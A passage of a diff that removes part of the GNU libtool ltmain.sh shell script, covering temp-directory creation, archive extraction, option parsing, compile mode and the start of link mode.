- exit $EXIT_FAILURE
-fi
-
-# Global variables.
-mode=$default_mode
-nonopt=
-prev=
-prevopt=
-run=
-show="$echo"
-show_help=
-execute_dlfiles=
-duplicate_deps=no
-preserve_args=
-lo2o="s/\\.lo\$/.${objext}/"
-o2lo="s/\\.${objext}\$/.lo/"
-
-#####################################
-# Shell function definitions:
-# This seems to be the best place for them
-
-# func_mktempdir [string]
-# Make a temporary directory that won't clash with other running
-# libtool processes, and avoids race conditions if possible. If
-# given, STRING is the basename for that directory.
-func_mktempdir ()
-{
- my_template="${TMPDIR-/tmp}/${1-$progname}"
-
- if test "$run" = ":"; then
- # Return a directory name, but don't create it in dry-run mode
- my_tmpdir="${my_template}-$$"
- else
-
- # If mktemp works, use that first and foremost
- my_tmpdir=`mktemp -d "${my_template}-XXXXXXXX" 2>/dev/null`
-
- if test ! -d "$my_tmpdir"; then
- # Failing that, at least try and use $RANDOM to avoid a race
- my_tmpdir="${my_template}-${RANDOM-0}$$"
-
- save_mktempdir_umask=`umask`
- umask 0077
- $mkdir "$my_tmpdir"
- umask $save_mktempdir_umask
- fi
-
- # If we're not in dry-run mode, bomb out on failure
- test -d "$my_tmpdir" || {
- $echo "cannot create temporary directory \`$my_tmpdir'" 1>&2
- exit $EXIT_FAILURE
- }
- fi
-
- $echo "X$my_tmpdir" | $Xsed
-}
-
-
-# func_win32_libid arg
-# return the library type of file 'arg'
-#
-# Need a lot of goo to handle *both* DLLs and import libs
-# Has to be a shell function in order to 'eat' the argument
-# that is supplied when $file_magic_command is called.
-func_win32_libid ()
-{
- win32_libid_type="unknown"
- win32_fileres=`file -L $1 2>/dev/null`
- case $win32_fileres in
- *ar\ archive\ import\ library*) # definitely import
- win32_libid_type="x86 archive import"
- ;;
- *ar\ archive*) # could be an import, or static
- if eval $OBJDUMP -f $1 | $SED -e '10q' 2>/dev/null | \
- $EGREP -e 'file format pe-i386(.*architecture: i386)?' >/dev/null ; then
- win32_nmres=`eval $NM -f posix -A $1 | \
- $SED -n -e '1,100{/ I /{s,.*,import,;p;q;};}'`
- case $win32_nmres in
- import*) win32_libid_type="x86 archive import";;
- *) win32_libid_type="x86 archive static";;
- esac
- fi
- ;;
- *DLL*)
- win32_libid_type="x86 DLL"
- ;;
- *executable*) # but shell scripts are "executable" too...
- case $win32_fileres in
- *MS\ Windows\ PE\ Intel*)
- win32_libid_type="x86 DLL"
- ;;
- esac
- ;;
- esac
- $echo $win32_libid_type
-}
-
-
-# func_infer_tag arg
-# Infer tagged configuration to use if any are available and
-# if one wasn't chosen via the "--tag" command line option.
-# Only attempt this if the compiler in the base compile
-# command doesn't match the default compiler.
-# arg is usually of the form 'gcc ...'
-func_infer_tag ()
-{
- if test -n "$available_tags" && test -z "$tagname"; then
- CC_quoted=
- for arg in $CC; do
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- arg="\"$arg\""
- ;;
- esac
- CC_quoted="$CC_quoted $arg"
- done
- case $@ in
- # Blanks in the command may have been stripped by the calling shell,
- # but not from the CC environment variable when configure was run.
- " $CC "* | "$CC "* | " `$echo $CC` "* | "`$echo $CC` "* | " $CC_quoted"* | "$CC_quoted "* | " `$echo $CC_quoted` "* | "`$echo $CC_quoted` "*) ;;
- # Blanks at the start of $base_compile will cause this to fail
- # if we don't check for them as well.
- *)
- for z in $available_tags; do
- if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $z$" < "$progpath" > /dev/null; then
- # Evaluate the configuration.
- eval "`${SED} -n -e '/^# ### BEGIN LIBTOOL TAG CONFIG: '$z'$/,/^# ### END LIBTOOL TAG CONFIG: '$z'$/p' < $progpath`"
- CC_quoted=
- for arg in $CC; do
- # Double-quote args containing other shell metacharacters.
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- arg="\"$arg\""
- ;;
- esac
- CC_quoted="$CC_quoted $arg"
- done
- case "$@ " in
- " $CC "* | "$CC "* | " `$echo $CC` "* | "`$echo $CC` "* | " $CC_quoted"* | "$CC_quoted "* | " `$echo $CC_quoted` "* | "`$echo $CC_quoted` "*)
- # The compiler in the base compile command matches
- # the one in the tagged configuration.
- # Assume this is the tagged configuration we want.
- tagname=$z
- break
- ;;
- esac
- fi
- done
- # If $tagname still isn't set, then no tagged configuration
- # was found and let the user know that the "--tag" command
- # line option must be used.
- if test -z "$tagname"; then
- $echo "$modename: unable to infer tagged configuration"
- $echo "$modename: specify a tag with \`--tag'" 1>&2
- exit $EXIT_FAILURE
-# else
-# $echo "$modename: using $tagname tagged configuration"
- fi
- ;;
- esac
- fi
-}
-
-
-# func_extract_an_archive dir oldlib
-func_extract_an_archive ()
-{
- f_ex_an_ar_dir="$1"; shift
- f_ex_an_ar_oldlib="$1"
-
- $show "(cd $f_ex_an_ar_dir && $AR x $f_ex_an_ar_oldlib)"
- $run eval "(cd \$f_ex_an_ar_dir && $AR x \$f_ex_an_ar_oldlib)" || exit $?
- if ($AR t "$f_ex_an_ar_oldlib" | sort | sort -uc >/dev/null 2>&1); then
- :
- else
- $echo "$modename: ERROR: object name conflicts: $f_ex_an_ar_dir/$f_ex_an_ar_oldlib" 1>&2
- exit $EXIT_FAILURE
- fi
-}
-
-# func_extract_archives gentop oldlib ...
-func_extract_archives ()
-{
- my_gentop="$1"; shift
- my_oldlibs=${1+"$@"}
- my_oldobjs=""
- my_xlib=""
- my_xabs=""
- my_xdir=""
- my_status=""
-
- $show "${rm}r $my_gentop"
- $run ${rm}r "$my_gentop"
- $show "$mkdir $my_gentop"
- $run $mkdir "$my_gentop"
- my_status=$?
- if test "$my_status" -ne 0 && test ! -d "$my_gentop"; then
- exit $my_status
- fi
-
- for my_xlib in $my_oldlibs; do
- # Extract the objects.
- case $my_xlib in
- [\\/]* | [A-Za-z]:[\\/]*) my_xabs="$my_xlib" ;;
- *) my_xabs=`pwd`"/$my_xlib" ;;
- esac
- my_xlib=`$echo "X$my_xlib" | $Xsed -e 's%^.*/%%'`
- my_xdir="$my_gentop/$my_xlib"
-
- $show "${rm}r $my_xdir"
- $run ${rm}r "$my_xdir"
- $show "$mkdir $my_xdir"
- $run $mkdir "$my_xdir"
- exit_status=$?
- if test "$exit_status" -ne 0 && test ! -d "$my_xdir"; then
- exit $exit_status
- fi
- case $host in
- *-darwin*)
- $show "Extracting $my_xabs"
- # Do not bother doing anything if just a dry run
- if test -z "$run"; then
- darwin_orig_dir=`pwd`
- cd $my_xdir || exit $?
- darwin_archive=$my_xabs
- darwin_curdir=`pwd`
- darwin_base_archive=`$echo "X$darwin_archive" | $Xsed -e 's%^.*/%%'`
- darwin_arches=`lipo -info "$darwin_archive" 2>/dev/null | $EGREP Architectures 2>/dev/null`
- if test -n "$darwin_arches"; then
- darwin_arches=`echo "$darwin_arches" | $SED -e 's/.*are://'`
- darwin_arch=
- $show "$darwin_base_archive has multiple architectures $darwin_arches"
- for darwin_arch in $darwin_arches ; do
- mkdir -p "unfat-$$/${darwin_base_archive}-${darwin_arch}"
- lipo -thin $darwin_arch -output "unfat-$$/${darwin_base_archive}-${darwin_arch}/${darwin_base_archive}" "${darwin_archive}"
- cd "unfat-$$/${darwin_base_archive}-${darwin_arch}"
- func_extract_an_archive "`pwd`" "${darwin_base_archive}"
- cd "$darwin_curdir"
- $rm "unfat-$$/${darwin_base_archive}-${darwin_arch}/${darwin_base_archive}"
- done # $darwin_arches
- ## Okay now we have a bunch of thin objects, gotta fatten them up :)
- darwin_filelist=`find unfat-$$ -type f -name \*.o -print -o -name \*.lo -print| xargs basename | sort -u | $NL2SP`
- darwin_file=
- darwin_files=
- for darwin_file in $darwin_filelist; do
- darwin_files=`find unfat-$$ -name $darwin_file -print | $NL2SP`
- lipo -create -output "$darwin_file" $darwin_files
- done # $darwin_filelist
- ${rm}r unfat-$$
- cd "$darwin_orig_dir"
- else
- cd "$darwin_orig_dir"
- func_extract_an_archive "$my_xdir" "$my_xabs"
- fi # $darwin_arches
- fi # $run
- ;;
- *)
- func_extract_an_archive "$my_xdir" "$my_xabs"
- ;;
- esac
- my_oldobjs="$my_oldobjs "`find $my_xdir -name \*.$objext -print -o -name \*.lo -print | $NL2SP`
- done
- func_extract_archives_result="$my_oldobjs"
-}
-# End of Shell function definitions
-#####################################
-
-# Darwin sucks
-eval std_shrext=\"$shrext_cmds\"
-
-disable_libs=no
-
-# Parse our command line options once, thoroughly.
-while test "$#" -gt 0
-do
- arg="$1"
- shift
-
- case $arg in
- -*=*) optarg=`$echo "X$arg" | $Xsed -e 's/[-_a-zA-Z0-9]*=//'` ;;
- *) optarg= ;;
- esac
-
- # If the previous option needs an argument, assign it.
- if test -n "$prev"; then
- case $prev in
- execute_dlfiles)
- execute_dlfiles="$execute_dlfiles $arg"
- ;;
- tag)
- tagname="$arg"
- preserve_args="${preserve_args}=$arg"
-
- # Check whether tagname contains only valid characters
- case $tagname in
- *[!-_A-Za-z0-9,/]*)
- $echo "$progname: invalid tag name: $tagname" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
-
- case $tagname in
- CC)
- # Don't test for the "default" C tag, as we know, it's there, but
- # not specially marked.
- ;;
- *)
- if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "$progpath" > /dev/null; then
- taglist="$taglist $tagname"
- # Evaluate the configuration.
- eval "`${SED} -n -e '/^# ### BEGIN LIBTOOL TAG CONFIG: '$tagname'$/,/^# ### END LIBTOOL TAG CONFIG: '$tagname'$/p' < $progpath`"
- else
- $echo "$progname: ignoring unknown tag $tagname" 1>&2
- fi
- ;;
- esac
- ;;
- *)
- eval "$prev=\$arg"
- ;;
- esac
-
- prev=
- prevopt=
- continue
- fi
-
- # Have we seen a non-optional argument yet?
- case $arg in
- --help)
- show_help=yes
- ;;
-
- --version)
- $echo "$PROGRAM (GNU $PACKAGE) $VERSION$TIMESTAMP"
- $echo
- $echo "Copyright (C) 2005 Free Software Foundation, Inc."
- $echo "This is free software; see the source for copying conditions. There is NO"
- $echo "warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE."
- exit $?
- ;;
-
- --config)
- ${SED} -e '1,/^# ### BEGIN LIBTOOL CONFIG/d' -e '/^# ### END LIBTOOL CONFIG/,$d' $progpath
- # Now print the configurations for the tags.
- for tagname in $taglist; do
- ${SED} -n -e "/^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$/,/^# ### END LIBTOOL TAG CONFIG: $tagname$/p" < "$progpath"
- done
- exit $?
- ;;
-
- --debug)
- $echo "$progname: enabling shell trace mode"
- set -x
- preserve_args="$preserve_args $arg"
- ;;
-
- --dry-run | -n)
- run=:
- ;;
-
- --features)
- $echo "host: $host"
- if test "$build_libtool_libs" = yes; then
- $echo "enable shared libraries"
- else
- $echo "disable shared libraries"
- fi
- if test "$build_old_libs" = yes; then
- $echo "enable static libraries"
- else
- $echo "disable static libraries"
- fi
- exit $?
- ;;
-
- --finish) mode="finish" ;;
-
- --mode) prevopt="--mode" prev=mode ;;
- --mode=*) mode="$optarg" ;;
-
- --preserve-dup-deps) duplicate_deps="yes" ;;
-
- --quiet | --silent)
- show=:
- preserve_args="$preserve_args $arg"
- ;;
-
- --tag)
- prevopt="--tag"
- prev=tag
- preserve_args="$preserve_args --tag"
- ;;
- --tag=*)
- set tag "$optarg" ${1+"$@"}
- shift
- prev=tag
- preserve_args="$preserve_args --tag"
- ;;
-
- -dlopen)
- prevopt="-dlopen"
- prev=execute_dlfiles
- ;;
-
- -*)
- $echo "$modename: unrecognized option \`$arg'" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- ;;
-
- *)
- nonopt="$arg"
- break
- ;;
- esac
-done
-
-if test -n "$prevopt"; then
- $echo "$modename: option \`$prevopt' requires an argument" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
-fi
-
-case $disable_libs in
-no)
- ;;
-shared)
- build_libtool_libs=no
- build_old_libs=yes
- ;;
-static)
- build_old_libs=`case $build_libtool_libs in yes) echo no;; *) echo yes;; esac`
- ;;
-esac
-
-# If this variable is set in any of the actions, the command in it
-# will be execed at the end. This prevents here-documents from being
-# left over by shells.
-exec_cmd=
-
-if test -z "$show_help"; then
-
- # Infer the operation mode.
- if test -z "$mode"; then
- $echo "*** Warning: inferring the mode of operation is deprecated." 1>&2
- $echo "*** Future versions of Libtool will require --mode=MODE be specified." 1>&2
- case $nonopt in
- *cc | cc* | *++ | gcc* | *-gcc* | g++* | xlc*)
- mode=link
- for arg
- do
- case $arg in
- -c)
- mode=compile
- break
- ;;
- esac
- done
- ;;
- *db | *dbx | *strace | *truss)
- mode=execute
- ;;
- *install*|cp|mv)
- mode=install
- ;;
- *rm)
- mode=uninstall
- ;;
- *)
- # If we have no mode, but dlfiles were specified, then do execute mode.
- test -n "$execute_dlfiles" && mode=execute
-
- # Just use the default operation mode.
- if test -z "$mode"; then
- if test -n "$nonopt"; then
- $echo "$modename: warning: cannot infer operation mode from \`$nonopt'" 1>&2
- else
- $echo "$modename: warning: cannot infer operation mode without MODE-ARGS" 1>&2
- fi
- fi
- ;;
- esac
- fi
-
- # Only execute mode is allowed to have -dlopen flags.
- if test -n "$execute_dlfiles" && test "$mode" != execute; then
- $echo "$modename: unrecognized option \`-dlopen'" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # Change the help message to a mode-specific one.
- generic_help="$help"
- help="Try \`$modename --help --mode=$mode' for more information."
-
- # These modes are in order of execution frequency so that they run quickly.
- case $mode in
- # libtool compile mode
- compile)
- modename="$modename: compile"
- # Get the compilation command and the source file.
- base_compile=
- srcfile="$nonopt" # always keep a non-empty value in "srcfile"
- suppress_opt=yes
- suppress_output=
- arg_mode=normal
- libobj=
- later=
-
- for arg
- do
- case $arg_mode in
- arg )
- # do not "continue". Instead, add this to base_compile
- lastarg="$arg"
- arg_mode=normal
- ;;
-
- target )
- libobj="$arg"
- arg_mode=normal
- continue
- ;;
-
- normal )
- # Accept any command-line options.
- case $arg in
- -o)
- if test -n "$libobj" ; then
- $echo "$modename: you cannot specify \`-o' more than once" 1>&2
- exit $EXIT_FAILURE
- fi
- arg_mode=target
- continue
- ;;
-
- -static | -prefer-pic | -prefer-non-pic)
- later="$later $arg"
- continue
- ;;
-
- -no-suppress)
- suppress_opt=no
- continue
- ;;
-
- -Xcompiler)
- arg_mode=arg # the next one goes into the "base_compile" arg list
- continue # The current "srcfile" will either be retained or
- ;; # replaced later. I would guess that would be a bug.
-
- -Wc,*)
- args=`$echo "X$arg" | $Xsed -e "s/^-Wc,//"`
- lastarg=
- save_ifs="$IFS"; IFS=','
- for arg in $args; do
- IFS="$save_ifs"
-
- # Double-quote args containing other shell metacharacters.
- # Many Bourne shells cannot handle close brackets correctly
- # in scan sets, so we specify it separately.
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- arg="\"$arg\""
- ;;
- esac
- lastarg="$lastarg $arg"
- done
- IFS="$save_ifs"
- lastarg=`$echo "X$lastarg" | $Xsed -e "s/^ //"`
-
- # Add the arguments to base_compile.
- base_compile="$base_compile $lastarg"
- continue
- ;;
-
- * )
- # Accept the current argument as the source file.
- # The previous "srcfile" becomes the current argument.
- #
- lastarg="$srcfile"
- srcfile="$arg"
- ;;
- esac # case $arg
- ;;
- esac # case $arg_mode
-
- # Aesthetically quote the previous argument.
- lastarg=`$echo "X$lastarg" | $Xsed -e "$sed_quote_subst"`
-
- case $lastarg in
- # Double-quote args containing other shell metacharacters.
- # Many Bourne shells cannot handle close brackets correctly
- # in scan sets, and some SunOS ksh mistreat backslash-escaping
- # in scan sets (worked around with variable expansion),
- # and furthermore cannot handle '|' '&' '(' ')' in scan sets
- # at all, so we specify them separately.
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- lastarg="\"$lastarg\""
- ;;
- esac
-
- base_compile="$base_compile $lastarg"
- done # for arg
-
- case $arg_mode in
- arg)
- $echo "$modename: you must specify an argument for -Xcompile"
- exit $EXIT_FAILURE
- ;;
- target)
- $echo "$modename: you must specify a target with \`-o'" 1>&2
- exit $EXIT_FAILURE
- ;;
- *)
- # Get the name of the library object.
- [ -z "$libobj" ] && libobj=`$echo "X$srcfile" | $Xsed -e 's%^.*/%%'`
- ;;
- esac
-
- # Recognize several different file suffixes.
- # If the user specifies -o file.o, it is replaced with file.lo
- xform='[cCFSifmso]'
- case $libobj in
- *.ada) xform=ada ;;
- *.adb) xform=adb ;;
- *.ads) xform=ads ;;
- *.asm) xform=asm ;;
- *.c++) xform=c++ ;;
- *.cc) xform=cc ;;
- *.ii) xform=ii ;;
- *.class) xform=class ;;
- *.cpp) xform=cpp ;;
- *.cxx) xform=cxx ;;
- *.f90) xform=f90 ;;
- *.for) xform=for ;;
- *.java) xform=java ;;
- esac
-
- libobj=`$echo "X$libobj" | $Xsed -e "s/\.$xform$/.lo/"`
-
- case $libobj in
- *.lo) obj=`$echo "X$libobj" | $Xsed -e "$lo2o"` ;;
- *)
- $echo "$modename: cannot determine name of library object from \`$libobj'" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
-
- func_infer_tag $base_compile
-
- for arg in $later; do
- case $arg in
- -static)
- build_old_libs=yes
- continue
- ;;
-
- -prefer-pic)
- pic_mode=yes
- continue
- ;;
-
- -prefer-non-pic)
- pic_mode=no
- continue
- ;;
- esac
- done
-
- qlibobj=`$echo "X$libobj" | $Xsed -e "$sed_quote_subst"`
- case $qlibobj in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- qlibobj="\"$qlibobj\"" ;;
- esac
- test "X$libobj" != "X$qlibobj" \
- && $echo "X$libobj" | grep '[]~#^*{};<>?"'"'"' &()|`$[]' \
- && $echo "$modename: libobj name \`$libobj' may not contain shell special characters."
- objname=`$echo "X$obj" | $Xsed -e 's%^.*/%%'`
- xdir=`$echo "X$obj" | $Xsed -e 's%/[^/]*$%%'`
- if test "X$xdir" = "X$obj"; then
- xdir=
- else
- xdir=$xdir/
- fi
- lobj=${xdir}$objdir/$objname
-
- if test -z "$base_compile"; then
- $echo "$modename: you must specify a compilation command" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # Delete any leftover library objects.
- if test "$build_old_libs" = yes; then
- removelist="$obj $lobj $libobj ${libobj}T"
- else
- removelist="$lobj $libobj ${libobj}T"
- fi
-
- $run $rm $removelist
- trap "$run $rm $removelist; exit $EXIT_FAILURE" 1 2 15
-
- # On Cygwin there's no "real" PIC flag so we must build both object types
- case $host_os in
- cygwin* | mingw* | pw32* | os2*)
- pic_mode=default
- ;;
- esac
- if test "$pic_mode" = no && test "$deplibs_check_method" != pass_all; then
- # non-PIC code in shared libraries is not supported
- pic_mode=default
- fi
-
- # Calculate the filename of the output object if compiler does
- # not support -o with -c
- if test "$compiler_c_o" = no; then
- output_obj=`$echo "X$srcfile" | $Xsed -e 's%^.*/%%' -e 's%\.[^.]*$%%'`.${objext}
- lockfile="$output_obj.lock"
- removelist="$removelist $output_obj $lockfile"
- trap "$run $rm $removelist; exit $EXIT_FAILURE" 1 2 15
- else
- output_obj=
- need_locks=no
- lockfile=
- fi
-
- # Lock this critical section if it is needed
- # We use this script file to make the link, it avoids creating a new file
- if test "$need_locks" = yes; then
- until $run ln "$progpath" "$lockfile" 2>/dev/null; do
- $show "Waiting for $lockfile to be removed"
- sleep 2
- done
- elif test "$need_locks" = warn; then
- if test -f "$lockfile"; then
- $echo "\
-*** ERROR, $lockfile exists and contains:
-`cat $lockfile 2>/dev/null`
-
-This indicates that another process is trying to use the same
-temporary object file, and libtool could not work around it because
-your compiler does not support \`-c' and \`-o' together. If you
-repeat this compilation, it may succeed, by chance, but you had better
-avoid parallel builds (make -j) in this platform, or get a better
-compiler."
-
- $run $rm $removelist
- exit $EXIT_FAILURE
- fi
- $echo "$srcfile" > "$lockfile"
- fi
-
- if test -n "$fix_srcfile_path"; then
- eval srcfile=\"$fix_srcfile_path\"
- fi
- qsrcfile=`$echo "X$srcfile" | $Xsed -e "$sed_quote_subst"`
- case $qsrcfile in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- qsrcfile="\"$qsrcfile\"" ;;
- esac
-
- $run $rm "$libobj" "${libobj}T"
-
- # Create a libtool object file (analogous to a ".la" file),
- # but don't create it if we're doing a dry run.
- test -z "$run" && cat > ${libobj}T <<EOF
-# $libobj - a libtool object file
-# Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP
-#
-# Please DO NOT delete this file!
-# It is necessary for linking the library.
-
-# Name of the PIC object.
-EOF
-
- # Only build a PIC object if we are building libtool libraries.
- if test "$build_libtool_libs" = yes; then
- # Without this assignment, base_compile gets emptied.
- fbsd_hideous_sh_bug=$base_compile
-
- if test "$pic_mode" != no; then
- command="$base_compile $qsrcfile $pic_flag"
- else
- # Don't build PIC code
- command="$base_compile $qsrcfile"
- fi
-
- if test ! -d "${xdir}$objdir"; then
- $show "$mkdir ${xdir}$objdir"
- $run $mkdir ${xdir}$objdir
- exit_status=$?
- if test "$exit_status" -ne 0 && test ! -d "${xdir}$objdir"; then
- exit $exit_status
- fi
- fi
-
- if test -z "$output_obj"; then
- # Place PIC objects in $objdir
- command="$command -o $lobj"
- fi
-
- $run $rm "$lobj" "$output_obj"
-
- $show "$command"
- if $run eval "$command"; then :
- else
- test -n "$output_obj" && $run $rm $removelist
- exit $EXIT_FAILURE
- fi
-
- if test "$need_locks" = warn &&
- test "X`cat $lockfile 2>/dev/null`" != "X$srcfile"; then
- $echo "\
-*** ERROR, $lockfile contains:
-`cat $lockfile 2>/dev/null`
-
-but it should contain:
-$srcfile
-
-This indicates that another process is trying to use the same
-temporary object file, and libtool could not work around it because
-your compiler does not support \`-c' and \`-o' together. If you
-repeat this compilation, it may succeed, by chance, but you had better
-avoid parallel builds (make -j) in this platform, or get a better
-compiler."
-
- $run $rm $removelist
- exit $EXIT_FAILURE
- fi
-
- # Just move the object if needed, then go on to compile the next one
- if test -n "$output_obj" && test "X$output_obj" != "X$lobj"; then
- $show "$mv $output_obj $lobj"
- if $run $mv $output_obj $lobj; then :
- else
- error=$?
- $run $rm $removelist
- exit $error
- fi
- fi
-
- # Append the name of the PIC object to the libtool object file.
- test -z "$run" && cat >> ${libobj}T <<EOF
-pic_object='$objdir/$objname'
-
-EOF
-
- # Allow error messages only from the first compilation.
- if test "$suppress_opt" = yes; then
- suppress_output=' >/dev/null 2>&1'
- fi
- else
- # No PIC object so indicate it doesn't exist in the libtool
- # object file.
- test -z "$run" && cat >> ${libobj}T <<EOF
-pic_object=none
-
-EOF
- fi
-
- # Only build a position-dependent object if we build old libraries.
- if test "$build_old_libs" = yes; then
- if test "$pic_mode" != yes; then
- # Don't build PIC code
- command="$base_compile $qsrcfile"
- else
- command="$base_compile $qsrcfile $pic_flag"
- fi
- if test "$compiler_c_o" = yes; then
- command="$command -o $obj"
- fi
-
- # Suppress compiler output if we already did a PIC compilation.
- command="$command$suppress_output"
- $run $rm "$obj" "$output_obj"
- $show "$command"
- if $run eval "$command"; then :
- else
- $run $rm $removelist
- exit $EXIT_FAILURE
- fi
-
- if test "$need_locks" = warn &&
- test "X`cat $lockfile 2>/dev/null`" != "X$srcfile"; then
- $echo "\
-*** ERROR, $lockfile contains:
-`cat $lockfile 2>/dev/null`
-
-but it should contain:
-$srcfile
-
-This indicates that another process is trying to use the same
-temporary object file, and libtool could not work around it because
-your compiler does not support \`-c' and \`-o' together. If you
-repeat this compilation, it may succeed, by chance, but you had better
-avoid parallel builds (make -j) in this platform, or get a better
-compiler."
-
- $run $rm $removelist
- exit $EXIT_FAILURE
- fi
-
- # Just move the object if needed
- if test -n "$output_obj" && test "X$output_obj" != "X$obj"; then
- $show "$mv $output_obj $obj"
- if $run $mv $output_obj $obj; then :
- else
- error=$?
- $run $rm $removelist
- exit $error
- fi
- fi
-
- # Append the name of the non-PIC object the libtool object file.
- # Only append if the libtool object file exists.
- test -z "$run" && cat >> ${libobj}T <<EOF
-# Name of the non-PIC object.
-non_pic_object='$objname'
-
-EOF
- else
- # Append the name of the non-PIC object the libtool object file.
- # Only append if the libtool object file exists.
- test -z "$run" && cat >> ${libobj}T <<EOF
-# Name of the non-PIC object.
-non_pic_object=none
-
-EOF
- fi
-
- $run $mv "${libobj}T" "${libobj}"
-
- # Unlock the critical section if it was locked
- if test "$need_locks" != no; then
- $run $rm "$lockfile"
- fi
-
- exit $EXIT_SUCCESS
- ;;
-
- # libtool link mode
- link | relink)
- modename="$modename: link"
- case $host in
- *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*)
- # It is impossible to link a dll without this setting, and
- # we shouldn't force the makefile maintainer to figure out
- # which system we are compiling for in order to pass an extra
- # flag for every libtool invocation.
- # allow_undefined=no
-
- # FIXME: Unfortunately, there are problems with the above when trying
- # to make a dll which has undefined symbols, in which case not
- # even a static library is built. For now, we need to specify
- # -no-undefined on the libtool link line when we can be certain
- # that all symbols are satisfied, otherwise we get a static library.
- allow_undefined=yes
- ;;
- *)
- allow_undefined=yes
- ;;
- esac
- libtool_args="$nonopt"
- base_compile="$nonopt $@"
- compile_command="$nonopt"
- finalize_command="$nonopt"
-
- compile_rpath=
- finalize_rpath=
- compile_shlibpath=
- finalize_shlibpath=
- convenience=
- old_convenience=
- deplibs=
- old_deplibs=
- compiler_flags=
- linker_flags=
- dllsearchpath=
- lib_search_path=`pwd`
- inst_prefix_dir=
-
- avoid_version=no
- dlfiles=
- dlprefiles=
- dlself=no
- export_dynamic=no
- export_symbols=
- export_symbols_regex=
- generated=
- libobjs=
- ltlibs=
- module=no
- no_install=no
- objs=
- non_pic_objects=
- notinst_path= # paths that contain not-installed libtool libraries
- precious_files_regex=
- prefer_static_libs=no
- preload=no
- prev=
- prevarg=
- release=
- rpath=
- xrpath=
- perm_rpath=
- temp_rpath=
- thread_safe=no
- vinfo=
- vinfo_number=no
-
- func_infer_tag $base_compile
-
- # We need to know -static, to get the right output filenames.
- for arg
- do
- case $arg in
- -all-static | -static)
- if test "X$arg" = "X-all-static"; then
- if test "$build_libtool_libs" = yes && test -z "$link_static_flag"; then
- $echo "$modename: warning: complete static linking is impossible in this configuration" 1>&2
- fi
- if test -n "$link_static_flag"; then
- dlopen_self=$dlopen_self_static
- fi
- prefer_static_libs=yes
- else
- if test -z "$pic_flag" && test -n "$link_static_flag"; then
- dlopen_self=$dlopen_self_static
- fi
- prefer_static_libs=built
- fi
- build_libtool_libs=no
- build_old_libs=yes
- break
- ;;
- esac
- done
-
- # See if our shared archives depend on static archives.
- test -n "$old_archive_from_new_cmds" && build_old_libs=yes
-
- # Go through the arguments, transforming them on the way.
- while test "$#" -gt 0; do
- arg="$1"
- shift
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- qarg=\"`$echo "X$arg" | $Xsed -e "$sed_quote_subst"`\" ### testsuite: skip nested quoting test
- ;;
- *) qarg=$arg ;;
- esac
- libtool_args="$libtool_args $qarg"
-
- # If the previous option needs an argument, assign it.
- if test -n "$prev"; then
- case $prev in
- output)
- compile_command="$compile_command @OUTPUT@"
- finalize_command="$finalize_command @OUTPUT@"
- ;;
- esac
-
- case $prev in
- dlfiles|dlprefiles)
- if test "$preload" = no; then
- # Add the symbol object into the linking commands.
- compile_command="$compile_command @SYMFILE@"
- finalize_command="$finalize_command @SYMFILE@"
- preload=yes
- fi
- case $arg in
- *.la | *.lo) ;; # We handle these cases below.
- force)
- if test "$dlself" = no; then
- dlself=needless
- export_dynamic=yes
- fi
- prev=
- continue
- ;;
- self)
- if test "$prev" = dlprefiles; then
- dlself=yes
- elif test "$prev" = dlfiles && test "$dlopen_self" != yes; then
- dlself=yes
- else
- dlself=needless
- export_dynamic=yes
- fi
- prev=
- continue
- ;;
- *)
- if test "$prev" = dlfiles; then
- dlfiles="$dlfiles $arg"
- else
- dlprefiles="$dlprefiles $arg"
- fi
- prev=
- continue
- ;;
- esac
- ;;
- expsyms)
- export_symbols="$arg"
- if test ! -f "$arg"; then
- $echo "$modename: symbol file \`$arg' does not exist"
- exit $EXIT_FAILURE
- fi
- prev=
- continue
- ;;
- expsyms_regex)
- export_symbols_regex="$arg"
- prev=
- continue
- ;;
- inst_prefix)
- inst_prefix_dir="$arg"
- prev=
- continue
- ;;
- precious_regex)
- precious_files_regex="$arg"
- prev=
- continue
- ;;
- release)
- release="-$arg"
- prev=
- continue
- ;;
- objectlist)
- if test -f "$arg"; then
- save_arg=$arg
- moreargs=
- for fil in `cat $save_arg`
- do
-# moreargs="$moreargs $fil"
- arg=$fil
- # A libtool-controlled object.
-
- # Check to see that this really is a libtool object.
- if (${SED} -e '2q' $arg | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then
- pic_object=
- non_pic_object=
-
- # Read the .lo file
- # If there is no directory component, then add one.
- case $arg in
- */* | *\\*) . $arg ;;
- *) . ./$arg ;;
- esac
-
- if test -z "$pic_object" || \
- test -z "$non_pic_object" ||
- test "$pic_object" = none && \
- test "$non_pic_object" = none; then
- $echo "$modename: cannot find name of object for \`$arg'" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # Extract subdirectory from the argument.
- xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'`
- if test "X$xdir" = "X$arg"; then
- xdir=
- else
- xdir="$xdir/"
- fi
-
- if test "$pic_object" != none; then
- # Prepend the subdirectory the object is found in.
- pic_object="$xdir$pic_object"
-
- if test "$prev" = dlfiles; then
